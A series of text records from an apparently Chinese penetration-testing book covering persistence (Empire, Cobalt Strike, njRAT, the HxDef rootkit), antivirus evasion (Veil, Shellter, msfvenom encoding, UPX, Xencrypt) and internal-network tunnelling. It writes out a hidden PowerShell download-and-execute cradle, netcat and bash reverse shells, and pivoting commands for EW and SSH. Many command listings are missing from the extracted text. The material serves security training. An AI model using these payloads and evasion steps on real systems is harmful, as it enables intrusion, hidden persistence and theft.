    {"text": "运行命令“git clone https://github.com/EmpireProject/Empire”下载 Empire，进入Empire目录下运行“./setup/install.sh”脚本安装，这里可能 会因为网络问题导致安装失败，可以运行“install.sh”脚本多安装几次， 安装成功后需要运行“./setup/reset.sh”脚本初始化，然后便可以运 行“./empire”启动Empire。"},
    {"text": "后续操作与MSF类似，需要设置Listeners监听返回Shell，使用设置 的Listeners生成木马，运行木马获取Shell后便可以使用内置模块进行权 限维持。 设置监听和生成木马的常用命令如下： Empire内置了18种权限维持的方法，可以在Shell中输入“usemodule persisyence/”然后按Tab键补全查看，因为用法大同小异，所以下面会以 前三种为例介绍如何使用Empire进行权限维持，如图6-19所示。 图6-19 使用Empire进行权限维持 1 ．注册表 使用Empire拿到Shell，然后通过运行下述命令修改注册表进行权限 维持： 配置注册表权限维持如图6-20所示。 图6-20 配置注册表权限维持 待靶机重启后，运行命令“agents”查看所有会话，如图6-21所示， 发现有新的Shell上线。 图6-21 查看所有会话 2 ．计划任务 使用Empire拿到Shell，然后运行下述命令，配置计划任务进行权限 维持如图6-22所示。 图6-22 配置计划任务进行权限维持 运行成功后到靶机查看，发现计划任务添加成功，查看计划任务如 图6-23所示。"},
    {"text": "运行下述命令，利用WMI进行权限维持： 配置WMI进行权限维持如图6-24所示。 图6-24 配置WMI进行权限维持 由于系统在后台一直不停地轮询WMI事件，当轮到Payload事件时 就会触发执行上线，如图6-25所示。"},
    {"text": "图6-25 触发执行上线 6.3.3 使用 Cobalt Strike 维持权限 Cobalt Strike是一款用于对手模拟和红队行动的软件，主要用于执 行有目标的攻击和模拟高级威胁者的后渗透行动。 下面以汉化版Cobalt Strike3.14为例介绍如何使用Cobalt Strike进行权限维持。 开始权限维持之前先简单介绍如何使用Cobalt Strike获取Shell。"},
    {"text": "与 上述两种框架类似，需要先生成木马，Cobalt Strike有下述七种生成后 门的方式： 可通过单击“攻击”，选择“生成后门”查看，如图6-26所示。 图6-26 生成后门 选择“Windows Executable”生成exe木马，由于目标系统是64位，需 要勾选“使用x64 payload”，然后单击“Add”添加监听器，配置exe木马如 图6-27所示。 图6-27 配置exe木马 生成木马后上传到靶机运行，运行成功后发现会话上线，如图6-28 所示。"},
    {"text": "图6-30 创建无文件后门 然后配置脚本类型为“powershell”，如图6-31所示，使用监听 器“test”，这里也可以选择添加重新配置一个监听器，端口可以任意选 择一个未占用的端口，主机地址和URL路径默认即可，但是需要确认目 标靶机能否访问此主机地址。 图6-31 配置脚本类型为“powershell” 配置完成后单击开始，会生成命令“powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.120:88/a'))\"”，生成Payload 如图6-32所示。"},
    {"text": "图6-32 生成Payload 选择目标会话“进入beacon”，在beacon运行下述命令创建服务： 创建成功后会新增一个会话，并且每次靶机重启会话都会上线，创 建服务如图6-33所示。"},
    {"text": "图6-33 创建服务 2 ．注册表 下面介绍通过注册表进行权限维持，选择目标会话，通过“文件管 理”功能上传木马程序“exp.exe”到C盘，文件管理如图6-34所示。 图6-34 文件管理 为防止被管理发现，运行命令“shell attrib \"c:\\exp.exe\" +s +h”隐藏木 马程序，如图6-35所示。 图6-35 隐藏木马程序 运行下述命令通过配置注册表实现自启： 每次系统重启都会上线新的会话，配置注册表自启如图6-36所示。"},
    {"text": "图6-36 配置注册表自启 3 ．添加权限维持相关扩展 网上有很多公开的Cobalt Strike权限维持脚本，下面通过实例介绍 如何使用脚本进行权限维持。"},
    {"text": "图6-37 脚本管理器导入 此处导入的是汉化过的脚本，所以选择目标会话可以看到在派生会 话下面新增了权限维持的选项，此实例脚本使用前需要设置上传的远控 木马路径，设置路径如图6-38所示。 图6-38 设置路径 然后根据需要选择对应的权限维持方式即可，这里选择“SC服务”， 通过注册服务进行权限维持，如图6-39所示。 图6-39 通过注册服务进行权限维持 下面重启靶机测试下效果，发现每次重启目标靶机都会新增会话， 如图6-40所示。"},
    {"text": "图6-40 新增会话 6.4 其他方式维权 6.4.1 使用远控 njRAT 木马维持权限 njRAT也称为Bladabindi，是一种远程访问木马，允许程序持有者通 过文件传播的方式控制最终用户的计算机以达到攻击的目的。"},
    {"text": "它于2013 年6月首次被安全工程师发现，其中一些变体可追溯到2012年11月，通 过网络钓鱼和受感染的USB驱动器传播，被微软恶意软件防护中心评 为“严重”。"},
    {"text": "图6-41 njRAT控制台 图6-42 桌面控制 图6-43 命令执行 6.4.2 Rootkit 介绍 Rootkit是一种可以隐藏自身及其他程序进程的特殊恶意程序，由于 隐藏的特性，所以很难被检测发现，因此使用Rootkit进行权限维持是一 个很不错的选择。"},
    {"text": "Rootkit一般可分为用户模式和内核模式两种类型。 用户模式下的 Rootkit运行在系统的用户空间，例如有些Rootkit会通过注入软件入侵目 标。 内核模式下的Rootkit运行在内核空间，例如一般驱动都是以内核模 式运行的，所以有些Rootkit会通过伪装成驱动入侵目标。 下面以Windows下的Rootkit为例介绍。"},
    {"text": "Hacker Defender简称HxDef，它是用户模式下的Rootkit的典型例 子，用户可将Hacker Defender作为服务安装运行，也可以仅运行，通过 Hacker Defender可以隐藏文件、进程、系统服务、系统驱动、注册表的 键和键值、打开的端口，以及虚构可用磁盘空间。 下面以HxDef的100r版本为例介绍Rootkit，它的配置文件内容如 下： 拿到Meterpreter Shell后，为防止系统管理员发现上传的恶意程序及 异常的网络连接，可以通过HxDef隐藏，配置“hxdef100.ini”文件隐藏木 马程序“exp.exe”及自身，隐藏监听端口4444，在Meterpreter Shell中运 行“upload hxdef100.exe c:/”和“upload hxdef100.ini c:/”上 传“hxdef100.exe”和“hxdef100.ini”到“c:/”目录，然后运行命令“execute -f c:/hxdef100.exe”执行“hxdef100.exe”，执行恶意程序如图6-44所示。 图6-44 执行恶意程序 运行成功后木马程序“hxdef100.exe”和“hxdef100.ini”全部被隐藏， 在靶机运行“netstat -ano”查看网络连接，如图6-45所示，发现虽与攻击 机建立了连接，靶机却没有网络连接信息。 图6-45 查看网络连接 6.5 免杀技术 “免杀”是指能使病毒木马躲避杀毒软件查杀的技术，由于免杀技术 涉及反汇编、逆向和系统漏洞等技术，所以难度很高，一般人不会或没 能力接触免杀技术的深层内容。 其内容基本上为修改病毒和木马的内 容，改变特征码，从而躲避杀毒软件的查杀。"},
    {"text": "6.5.1 免杀工具 免杀和渗透测试一样都会有相关的专业工具，如在渗透测试方面比 较出名的AWVS和Nessus工具，在免杀方面比较出名的则是Veil、 Venom、Shellter这三款经典免杀工具，以Veil和Shellter这两款工具为例 对它们的使用方法进行简单介绍。 1 ． Veil 免杀 Veil-Evasion是一个用Python编写的免杀框架，专门为攻击安全测试 过程中免杀使用的工具，它可以将任意脚本或一段Shellcode转换成 Windows可执行文件，从而逃避常见防病毒产品的检测。"},
    {"text": "Veil的下载地址为“https://www.github.com/Veil-Framework/Veil-Evasion.git”。 运行Veil-Framework，直接执行Veil即可进入控制台，Veil共有两种 可用模块：Evasion和Ordnance，Veil控制台如图6-46所示。"},
    {"text": "图6-47 进入Evasion模块 通过图6-47得知共有41个Payload，使用命令如下： 可以使用“list”命令查看Payload，根据Pyaload可以知道生成c、cs、 go、lua、perl、powershell、python、ruby、exe格式的免杀后门文件， Evasion模式内的Payload格式如图6-48所示，可生成cs格式后门文件或自 行编译生成exe等。"},
    {"text": "图6-49 进入Ordnance模块 通过图6-49得知共有6个Payload和一个编码器，使用命令如下： 使用“list Payloads”命令列出所有的Payload，Payload列表如图6-50 所示。 图6-50 Payload列表 使用“list encoders”列出编码器，编码器列表如图6-51所示。"},
    {"text": "图6-53 payload内容 使用“options”命令查看需要填的选项 为“LHOST”和“LPORT”，“LHOST”填写MSF的IP，“LPORT”填写MSF 监听的端口，IP和PORT的设置如图6-54所示。"},
    {"text": "图6-58 生成木马成功 把“hello.cs”文件拷贝到Windows机器，使用“csc”命令编译成exe可 执行程序即可，如图6-59所示。 图6-59 编译成exe可执行程序 测试机器上面安装的两个品牌的杀毒软件均未检测出病毒，病毒检 测如图6-60所示。"},
    {"text": "图6-61 配置信息 生成程序后，会提示通过哪种方式封装成exe，可以选 择“PyInstaller”封装，如图6-62所示。 图6-62 选择“PyInstaller”封装 如图6-63所示，生成exe成功。 图6-63 生成exe成功 在测试机器内打开生成的exe免杀程序即可在MSF上线，目标上线 如图6-64所示。"},
    {"text": "Shellter提示有三种操作模式可以选择： 选择模式如图6-66所示。 图6-66 选择模式 在这里我们输入“H”，可以查看具体介绍，如图6-67所示。"},
    {"text": "首先准备一个正常的exe可执行文件，如图6-68所示。 图6-68 正常的exe可执行文件 在Shellter中选择“A”（自动化），然后在PE Target内输入exe的路径 并开始自动注入，如图6-69所示。"},
    {"text": "图6-69 自动注入 等待几秒后下方出现是否开启隐身模式，输入“Y”选择开启，开启 隐身模式如图6-70所示。 图6-70 开启隐身模式 选择Payload，如图6-71所示，选择第一个，因为MSF的的Payload 用的也是“Reverse_tcp”。"},
    {"text": "（2）基于HTTP网页传输的反向链接，和上面大同小异，只不过上 面是基于TCP的反向链接，这个是用GET或者POST进行发送或接收。 （3）基于HTTPS网页传输的反向链接，即安全的HTTP传输链接。"},
    {"text": "图6-74 扫描结果 6.5.2 Cobalt Strike Cobalt Strike是一款基于Java的渗透测试神器，常被业界人称为CS 神器，在内网渗透中使用的频率较高，其功能和MSF类似，不乏钓鱼攻 击、生成后门攻击等，下面来介绍Cobalt Strike的免杀功能。"},
    {"text": "1 ． Cobalt Strike 简介 Cobalt Strike可生成C、C#、COM Scriptlet、Java、Perl、 PowerShell、PowerShell Command、Python、Raw、Ruby、Veil、VBA 共12种格式的Payload，可以通过打开“Packages”中的“Payload Generator”查看其可以生成的格式。"},
    {"text": "图6-75 可以生成的格式 使用最多的是C和Powershell这两种格式，首先简单介绍一下C格式 的“Shellcode”，Shellcode是一段用于利用软件漏洞的代码，对于免杀操 作更方便。 Powershell通常是在渗透中拿下Webshell后，直接运行然后 使主机上线，当然Powershell的免杀较Shellcode要更复杂一点。"},
    {"text": "1）使用CS生成Shellcode 如图6-76所示，单击“Attacks”菜单，单击其中的“Packages”选项， 再单击“Payload Generator”选项。 图6-76 选择Payload Generator 在输出格式内选择“C”，单击生成之后，复制即可，输出C格式如 图6-77所示。 图6-77 输出C格式 我们需要通过脚本对CS生成的Shellcode进行分段处理，然后再进行 免杀，最后使用Visual Studio 2017进行编译生成即可。 首先进行分段处理，Cobalt strike生成的C格式如下，可以看到在 Visual Studio 2017编译的代码是未分段的，而MSF生成的Shellcode是分 段的并且可以直接编译。 通过脚本对CS生成的Shellcode进行分段处理，这样就可以直接在 Visual Studio 2017软件内进行编译，代码如下。 介绍完编译Shellcode的方法后，我们再来看一下如何进行免杀，列 举以下5种比较简单的可免杀的编译方式供大家参考。 将上面分段处理完成的Shellcode直接在其“shellcode[]=\"\"”位置补充 CS生成的代码即可。 （1）利用动态申请内存方法 （2）强制类型转换成指针 （3）嵌入式汇编呼叫Shellcode （4）伪指令 （5）xor加密 最后使用Visual Studio 2017进行编译生成即可，编译Shellcode如图 6-78所示。 图6-78 编译Shellcode 打开编译完成的木马文件进行测试，如图6-79所示。"},
    {"text": "图6-81 生成Payload 图6-82 输出格式选择Veil格式 单击生成的Shellcode代码，如图6-83所示。 图6-83 Shellcode代码 生成Payload后，打开Veil工具进行免杀处理。 首先选择Payload，这 里使用的是“python/shellcode_inject/aes_encrypt.py”。 打开Veil工具，进 入Veil-Evasion，再选中Payload即可，Payload信息如图6-84所示。 图6-84 Payload信息 输入“generate”命令，会提示5个选项，选择第三个即可，输入“3”， 然后在下方输入Cobalt Strike生成的Shellcode代码即可，Veil编译如图6-85所示。 图6-85 Veil编译 选择“1”，使用默认的“PyInstaller”封装成exe可执行程序即可，选择 封装方法如图6-86所示。 图6-86 选择封装方法 生成名为“test.exe”的免杀文件，生成成功如图6-87所示。 图6-87 生成成功 3 ．捆绑免杀 Cobalt Strike内有捆绑的功能，当然如果仅用这个功能进行免杀则 效果一般。"},
    {"text": "单击“Generate”生成即可，生成的“pythontest.exe”为带有恶意木马的 程序，捆绑生成如图6-88所示。 下一步为选择路经，如图6-89所示，保存生成的木马文件。"},
    {"text": "本节主要以MSFvenom为主，通过其经典的免杀方式进 行介绍，MSFvenom是msfpayload和msfencode的结合体，可利用 MSFvenom生成木马程序并在目标机上执行，在本地监听上线。"},
    {"text": "1 ． MSF 编码器 MSF编码器的作用是对生成的Payload进行特殊的转码处理，比如 上述的CS生成的Shellcode通过xor加密的方式编译，这样可以规避部分 杀毒软件的查杀。"},
    {"text": "在MSF内查看编码器的命令：“msfvenom --list encoders”，列出 encoders如图6-90所示。 图6-90 列出encoders MSFvenom内常用的参数： 使用频率最高的 是“cmd/powershell_base64”和“x86/shikata_ga_nai”这两个编码器。"},
    {"text": "1）使用“shikata_ga_nai”编码器生成免杀后门 通过以下命令，使用“shikata_ga_nai”编码器生成一个exe的免杀后 门，如图6-91所示： 图6-91 生成免杀后门 执行完成后，会在本地生成“test.exe”文件，如图6-92所示。"},
    {"text": "2）使用“shikata_ga_nai”“alpha_upper”“countdown”进行多重编码生 成免杀后门 通过以下命令，使用“shikata_ga_nai”“alpha_upper”“countdown”进行 多重编码，生成exe的免杀后门： 图6-93 扫描结果 生成过程如图6-94所示。 图6-94 生成过程 使用了10次“shikata_ga_nai”编码，将编码后的原始数据又进行了5 次“alpha_upper”编码，再进行10次“shikata_ga_nai”编码，接着进行10 次“countdown”编码，最后生成可执行免杀后门文件“notepad2.exe”。"},
    {"text": "图6-95 扫描结果 3）使用“shikata_ga_nai”对正常的exe可执行文件进行注入免杀 首先准备一个正常的exe文件“nppInstaller.exe”，exe文件如图6-96所 示。 图6-96 exe文件 通过以下命令： 使用“shikata_ga_nai”对“nppInstaller.exe”程序进行5次编码，当然也 可以多进行几次编码，然后生成注入后的程序“nppinstaller2.exe”，如图 6-97所示。"},
    {"text": "图6-98 扫描结果 也可以增加一个“-k”参数，配置攻击载荷在一个独立的线程中启 动，这样宿主程序在执行时不会受到影响，生成Payload如图6-99所示。"},
    {"text": "图6-99 生成Payload 2 ． UPX 加壳器 UPX（The Ultimate Packer for eXecutables）是一个免费且开源的可 执行程序文件加壳器，支持许多不同操作系统下的可执行文件格式。"},
    {"text": "第一步，先使用msfvenom生成一个exe编码后门文件： 生成后门文件如图6-100所示。 图6-100 生成后门文件 第二步，使用UPX加壳，使用命令“upx -5 upxtest.exe -k”，UPX加 壳如图6-101所示。"},
    {"text": "图6-104 扫描结果 3 ．常用命令 MSF开启监听命令： 生成二进制格式的后门： 生成Web类型后门： 生成脚本类型后门： 生成Shellcode类型后门： MSFvenom常用的使用格式命令： 6.5.4 Xencrypt 免杀 Xencrypt是一款针对PowerShell脚本进行免杀的工具，它使用AES 加密算法及Gzip/DEFLATE压缩算法来对Powershell脚本代码进行免杀处 理。"},
    {"text": "第二步使用Xencrypt进行免杀处理，首先载入Xencrypt脚本，输入 命令“Import-Module xencrypt.ps1”，Xencrypt载入如图6-106所示。 第三步开始免杀处理“Invoke-Xencrypt -InFile .\\payload.ps1 -outfile test.ps1”，对“payload.ps1”脚本进行免杀处理，如图6-107所示，输出免 杀之后的脚本“test.ps1”。 图6-105 扫描 图6-106 Xencrypt载入 图6-107 免杀处理 免杀之后的脚本“test.ps1”生成后，将其上传到VT进行检测，仅仅2 个AV引擎报毒，其效果还是非常不错的，VT扫描结果如图6-108所示。"},
    {"text": "图6-108 VT扫描结果 第 7 章 内网渗透代理 攻击者通过边界主机进入内网，往往会利用它当跳板进行横向渗 透，但现在的内部网络大多部署了很多安全设备，网络结构错综复杂， 对于某些系统的访问会受到各种阻挠，这就需要借助代理去突破这些限 制，因此面对不同的网络环境对于代理的选择及使用显得格外重要。"},
    {"text": "一个简单的网络环境，拿到Shell后无法连接3389端口，这时若只考 虑反弹3389，可以选择LCX和SSH等端口转发工具。 若是只考虑Shell反弹，可以选择SSH、Bash、NC等。"},
    {"text": "对于多级网络，EW是用得比较多的代理工具，Termite是EW的升 级版，虽然功能较EW更多，用起来更方便，但是由于作者已经将其下 架，很难找到稳定的版本，所以用得比较少。"},
    {"text": "若边界主机存在公网IP，且没有任何端口限制时，可以使用转发工 具或Socks代理工具通过正向或反向连接进行内网穿透。 若边界主机只对外开放Web，但是可以访问外网，可以通过基于 Web的reGeorg建立正向代理，或是用FRP、NPS等建立反向代理从而进 行内网穿透。"},
    {"text": "7.1.2 Http 代理和 Socks 代理 Http代理用的是Http协议，工作在应用层，主要是用来代理浏览器 访问网页。 Socks代理用的是Socks协议，工作在会话层，主要用来传递数据 包。 Socks代理又分为Socks4和Socks5，Socks4只支持TCP，而Socks5支 持TCP和UDP。"},
    {"text": "正向是从攻击者电脑主动访问目标机器，例如，通过主动访问目标 建立Shell是正向Shell。 反向是从目标机器主动连接攻击者电脑，例如，通过在目标机器执 行操作访问攻击者电脑建立的Shell是反向Shell。"},
    {"text": "7.2 端口转发 若攻克的边界主机可访问外网，则可以考虑使用端口转发进行内网 穿透，LCX是最经典的端口转发工具，像FRP、NPS和EW等也可以进行 端口转发，会在代理工具部分对这些工具进行详细介绍，此处重点介绍 LCX。"},
    {"text": "7.2.1 使用 LCX 端口转发 LCX是一款端口转发工具，分为Windows版和Linux版，Linux版本 为PortMap。 LCX有端口映射和端口转发两大功能，例如，当目标的 3389端口只对内开放而不对外开放时，可以使用端口映射将3389端口映 射到目标的其他端口使用；"},
    {"text": "图7-1 场景拓扑 由于配置了防火墙只允许访问Web，这时若想从攻击机通过3389端 口远程连接靶机是不行的，下面通过实例来看一下如何突破这一限制连 接靶机。"},
    {"text": "可先在攻击机运行命令“lcx -listen 1111 2222”，监听1111端口并转 发到2222端口使用，监听端口如图7-2所示。 图7-2 监听端口 在靶机运行命令“lcx -slave 1.1.1.1 1111 127.0.0.1 3389”，将靶机的 3389端口转发到攻击机的1111端口，端口转发如图7-3所示。 图7-3 端口转发 由于靶机的3389端口转发到了1111端口，1111端口转发给了2222端 口使用，因此在攻击机连接本地的2222端口，即可连接靶机的3389端 口，远程桌面连接如图7-4所示。"},
    {"text": "图7-4 远程桌面连接 7.2.2 使用 SSH 端口转发 SSH用于通过网络远程访问主机时提供保护，它可以对客户端和服 务端之间的数据传输进行压缩和加密，具有身份验证、SCP、SFTP和端 口转发等功能。 在这里主要介绍SSH的端口转发功能，它可以通过建立SSH隧道对 其他TCP端口的数据进行转发，常用参数如下： 1 ．本地转发 下面介绍一个使用SSH本地转发的实例，场景拓扑如图7-5所示。 图7-5 场景拓扑 假设攻击者已经拿下了主机A，并且通过主机A获取到了内网主机B 的IP和端口信息，但是攻击者从攻击机无法直接访问主机B，主机A安 装了SSH服务端，这时攻击者便可通过SSH协议连接到主机A，再通过 主机A做跳板，连接主机B。 本地转发命令如下： 在攻击机输入命令“ssh -L 1111:192.168.1.2:80 -f N 1.1.1.2”，将内网 主机B的80端口转发到本地的1111端口，本地转发如图7-6所示。 图7-6 本地转发 在攻击机访问本地的1111端口即可访问内网主机B的站点。 2 ．远程转发 下面介绍一个使用SSH远程转发的实例，场景拓扑如图7-7所示。 假设攻击者已经拿下了主机A，并且通过主机A获取到内网主机B的 IP和端口信息，但是攻击者从攻击机无法直接访问主机A和主机B，也 就是虽然主机A安装了SSH服务但是无法访问，这时攻击者可以通过反 向连接的方式，使用主机A连接攻击机，然后给攻击机转发。 图7-7 场景拓扑 远程转发命令如下： 在主机A输入命令“ssh -R 1111:192.168.1.2:80 -fN 1.1.1.1”，将内网 主机B的80端口转发到攻击机的1111端口，远程转发如图7-8所示。 图7-8 远程转发 在攻击机访问本地的1111端口即可访问内网主机B的站点。 3 ．动态转发 下面介绍一个使用SSH动态转发的实例，场景拓扑如图7-9所示： 图7-9 场景拓扑 当攻击机访问主机A时可以建立正向代理，跟本地类似，也是通过 SSH协议连接到主机A的，再通过主机A做跳板，连接至主机B。 动态转发命令： 在攻击机运行命令“ssh -D 1080 -CfNg 1.1.1.2”建立正向代理，如图 7-10所示。 图7-10 建立正向代理 在攻击机配置代理服务器，即可使用主机A访问主机B。"},
    {"text": "这里使用 ProxyChains代理Nmap对主机B进行端口扫描，因为Socks5不支持ICMP 协议，所以Ping扫描是不行的，使用“-Pn”参数禁Ping，再使用“-sT”参数 选择TCP扫描，使用“-n”参数取消域名解析，这样可以加快扫描速度， 代理Nmap扫描如图7-11所示。"},
    {"text": "通过NC可以进行端口扫描、反弹Shell、端口监听和文件传 输等操作，常用参数如下： 1 ．正向 Shell 下面介绍一个NC建立正向Shell的实例，场景拓扑如图7-12所示。 图7-12 场景拓扑 当可直接访问目标机时，可在目标机运行“nc -lvvp 1111 -e /bin/bash”，监听本地的1111端口，当连接成功时执行“/bin/bash”，这样 连接成功时就可以创建一个远程Shell，Windows的话只需 将“/bin/bash”换成“cmd.exe”的路径。 在目标机运行命令“nc -lvvp 1111 -e /bin/bash”，然后运行命 令“firewall-cmd --permanent --add-port=1111/tcp”配置防火墙开放1111端 口，然后运行“firewall-cmd --reload”命令重启防火墙使策略生效，配置 防火墙如图7-13所示。 图7-13 配置防火墙 然后在攻击机运行“nc 1.1.1.2 1111”连接目标机的1111端口，连接成 功就可以创建一个远程Shell，正向Shell如图7-14所示。"},
    {"text": "在攻击机运行命令“nc -lvvp 1111”监听1111端口，如图7-16所示。 在目标机运行命令“nc -e /bin/bash 1.1.1.1 1111”反弹Shell，如图7-17 所示。 图7-16 监听1111端口 图7-17 反弹Shell 反弹成功后在攻击机可使用Shell运行命令。"},
    {"text": "7.3.2 使用 Bash 命令反弹 Shell Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是 Linux中默认使用的Shell。 Bash反弹Shell的命令如下： “bash -i”是指打开一个交互式的Shell。"},
    {"text": "“&”符号用于区分文件和文 件描述符，“>&”符号后面跟文件时，表示将标准输出和标准错误输出 重定向至文件，“>&”符号后面跟数字时表示后面的数字是文件描述 符，不加“&”符号则会把后面的数字当成文件。"},
    {"text": "“/dev”目录下“tcp”和“udp”是Linux中的特 殊设备，可用于建立Socket连接，读写这俩文件就相当于是在Socket连 接中传输数据。 “>& /dev/tcp/攻击机_ip/攻击机端口”则表示将标准输出 和标准错误输出重定向到“/dev/tcp/攻击机_ip/攻击机端口”文件中，也就 是重定向到了攻击机，这时目标机的命令执行结果可以从攻击机看 到。 “0>&1”或“0>&2”又将标准输入重定向到了标准输出，而标准输出 重定向到了攻击机，因此标准输入也就重定向到了攻击机，从而可以通 过攻击机输入命令，并且可以看到命令执行结果输出。"},
    {"text": "图7-18 场景拓扑 在攻击机运行命令“nc -lvvp 1111”监听1111端口，如图7-19所示。 图7-19 监听1111端口 在靶机运行命令“bash -i >& /dev/tcp/1.1.1.1/1111 0>&1”反弹Shell， 如图7-20所示。 图7-20 反弹Shell 反弹Shell成功后即可在攻击机运行命令，如图7-21所示。 图7-21 运行命令 7.3.3 使用 Python 反弹 Shell 若是目标装有Python，也可使用Python反弹Shell，原理与Bash反弹 Shell类似，也是将本地打开的交互式Shell的输入、输出通过建立的 Socket重定向到攻击机，命令如下： 首先创建Socket对象，可以创建TCP的也可以创建UDP的，若是 UDP的，在攻击机监听时也要是UDP的，然后与攻击机建立Socket连 接。"},
    {"text": "“s.fileno()”可以返回套接字的文件描述，然后使用“os”库的“dup2”方 法将标准输入、标准输出、标准错误输出重定向到攻击机，最后在本地 打开交互式Shell，因为输入输出重定向到攻击机，所以可以通过攻击机 远程执行命令。"},
    {"text": "图7-22 场景拓扑 在攻击机运行命令“nc -luvvp 1111”监听UDP的1111端口，如图7-23 所示。 图7-23 监听UDP的1111端口 在靶机运行下述命令反弹Shell。"},
    {"text": "7.4 代理客户端介绍 常见的代理客户端有ProxyChains、SocksCap和Proxifer等，在客户 端配置代理服务后便可以通过搭建的代理服务器来代理相关应用访问网 络，例如，可以代理浏览器访问内网系统、代理Namp进行端口扫描或 代理Shell管理工具来管理Shell等，下面将通过实例重点介绍用的比较多 的两种代理客户端ProxyChains和Proxifer。 7.4.1 ProxyChains 的使用 ProxyChains是Linux下的代理客户端，可以 从“https://github.com/haad/proxychains/ releases”下载源码进行编译安 装。 ProxyChains只能代理TCP连接，支持HTTP、Socks4和Socks5类型 的代理服务器，配置文件在“/etc/proxychains.conf”。 以Kali下的ProxyChains为例，使用前需要先编辑配置文 件“proxychains.conf”从而添加代理服务器，例如，配置Socks5代理，代 理服务器地址为“10.211.55.6”，Socks5端口为1080，添加代理服务器如 图7-24所示。 图7-24 添加代理服务器 添加代理服务器后便可以直接使用ProxyChains代理应用，例如，使 用ProxyChains代理Nmap对内网目标进行端口扫描，代理应用程序如图 7-25所示。 图7-25 代理应用程序 7.4.2 Proxifier 的使用 Proxifier代理客户端有Windows版和MAC版，支持TCP、UDP协 议，支持HTTP、HTTPS、Socks4和Socks5类型的代理服务器，配置代 理服务器如图7-26所示。 图7-26 配置代理服务器 默认配置会代理所有应用程序，若想访问内网站点，添加代理服务 器后，直接打开浏览器便可以访问内网站点，如图7-27所示。 图7-27 访问内网站点 7.5 隐秘隧道搭建 常见的代理工具有reGeorg、FRP、EW、NPS和Termite等，通过上 述代理工具可以搭建代理服务器，然后配合代理客户端可以进行内网漫 游，下面将一一讲解其用法。 7.5.1 reGeorg 隐秘隧道搭建 reGeorg是reDuh的升级版，一般在目标主机无法访问外网的情况下 会使用它，可从“https://github.com/sensepost/reGeorg”下载。 若目标提供 Web服务，可通过上传reGeorg内置的目标能够解析的脚本来建立Socks 正向代理，它使用Socks5协议建立隧道。"},
    {"text": "图7-28 场景拓扑 假设通过Web漏洞拿下了DMZ区的官网服务器，官网服务器只对外 开放80端口，且官网服务器无法访问外网，若想以官网服务器为跳板攻 击内网OA系统，则可以将对应脚本上传到DMZ区靶机，然后访问脚 本，如图7-29所示，显示“Georg says, 'All seems fine'”则表示上传成功。"},
    {"text": "图7-29 访问脚本 在攻击机运行下述命令，启动reGeorg： 配置监听的地址、端口，以及用来建立隧道的脚本的URL，运行 reGeorg如图7-30所示。"},
    {"text": "图7-30 运行reGeorg 代理服务器搭建成功后可以选择代理客户端搭配使用，以 ProxyChains为例，配置添加代理后使用ProxyChains代理应用，使用 ProxyChains代理Nmap对内网目标进行端口扫描，代理应用程序如图7-31所示。"},
    {"text": "图7-31 代理应用程序 7.5.2 FRP 隐秘隧道搭建 FRP是一款跨平台的代理应用程序，在红队中用得比较多，可 从“https://github.com/ fatedier/frp/releases”下载。"},
    {"text": "当目标主机可以访问外网时，可 以通过FRP搭建反向代理。 下面介绍使用FRP搭建反向代理的实例，场景拓扑如图7-32所示。 图7-32 场景拓扑 当黑客拿到官网服务器的Shell后，若官网服务器可以访问外网，则 可在VPS上运行FRP服务端，然后在官网服务器运行FRP客户端搭建反 向代理。 1 ． HTTP 反向代理 配置服务端，将“frps”及“frps.ini”上传到攻击机进行如下配置。 配置客户端，将“frpc”及“frpc.ini”上传到目标内网靶机进行如下配 置。 在攻击机运行“frps -c frps.ini”，在内网靶机运行“frpc -c frpc.ini”， 然后在Proxifier添加HTTP代理，如图7-33所示。 图7-33 添加HTTP代理 2 ． Socks5 反向代理 对服务端进行如下配置： 对客户端进行如下配置： 在攻击机运行“frps -c frps.ini”，在内网靶机运行“frpc -c frpc.ini”， 然后在Proxifier添加SOCKS5代理，如图7-34所示。"},
    {"text": "图7-34 添加SOCKS5代理 7.5.3 EarthWorm 隐秘隧道搭建 EarthWorm简称EW，可 从“https://github.com/rootkiter/EarthWorm/blob/master/server /download/ew.zip”下载。"},
    {"text": "EW提供六种链路状态，可通过“-s”参数进行选定，分别为： 1 ．正向代理 下面介绍使用EW搭建正向代理的实例，场景拓扑如图7-35所示。"},
    {"text": "图7-37 场景拓扑 当官网服务器可以访问外网和内网核心区时，可通过EW创建反向 代理，首先在攻击机运行命令“ew -s rcsocks -l 1080 -e 1111”配置转接隧 道，如图7-38所示，将1080端口收到的代理请求转交给反连1111端口的 主机。 图7-38 配置转接隧道 在官网服务器运行命令“ew -s rssocks -d 169.254.197.36 -e 1111”，开 启目标主机SOCKS5服务并反向连接到攻击机169.254.197.36的1111端 口，如图7-39所示。"},
    {"text": "1）场景一 攻击者获取目标网络的官网服务器和OA系统的服务器权限，官网 服务器具有外网IP并且可以访问OA服务器，但无法访问核心区，OA服 务器无法访问外网，但是可以访问核心区，场景拓扑如图7-41所示。"},
    {"text": "图7-41 场景拓扑 遇到上述情况可先上传EW到OA服务器，运行命令“ew -s ssocksd -l 1080”启动端口为1080的SOCKS代理，如图7-42所示。 图7-42 启动SOCKS代理 再上传EW到官网服务器运行命令“ew -s lcx_tran -l 1086 -f 2.2.2.4 -g 1080”，将官网服务器的1086端口收到的SOCKS代理请求转交给OA服务 器的1080端口，端口转发如图7-43所示。"},
    {"text": "图7-43 端口转发 在攻击机配置代理客户端，代理服务器地址为官网服务器的外网 IP，通过代理访问财务系统，如图7-44所示。 图7-44 通过代理访问财务系统 2）场景二 攻击者获取目标网络的官网服务器和OA系统的服务器权限，官网 服务器可访问外网但无公网IP，能访问OA服务器但无法访问核心区， OA服务器无法访问外网，但是可以访问核心区，场景拓扑如图7-45所 示。 图7-45 场景拓扑 遇到上述情况可先在攻击机运行命令“ew -s lcx_listen -l 1080 -e 3333”，在攻击机添加转接隧道，将1080端口收到的代理请求转交给反 连3333端口的主机，端口转发如图7-46所示。 图7-46 端口转发 上传EW到OA服务器，运行命令“ew -s ssocksd -l 4444”启动端口为 4444的SOCKS代理，如图7-47所示。 图7-47 启动SOCKS代理 上传EW到官网服务器，运行命令“ew -s lcx_slave -d 169.254.197.36 -e 3333 -f 2.2.2.4 -g 4444”，在官网服务器上通过“lcx_slave”方式打通 169.254.197.36:3333和2.2.2.4:4444之间的通信隧道，将来自攻击机3333 端口的流量转发到OA服务器的4444端口，端口转发如图7-48所示。 图7-48 端口转发 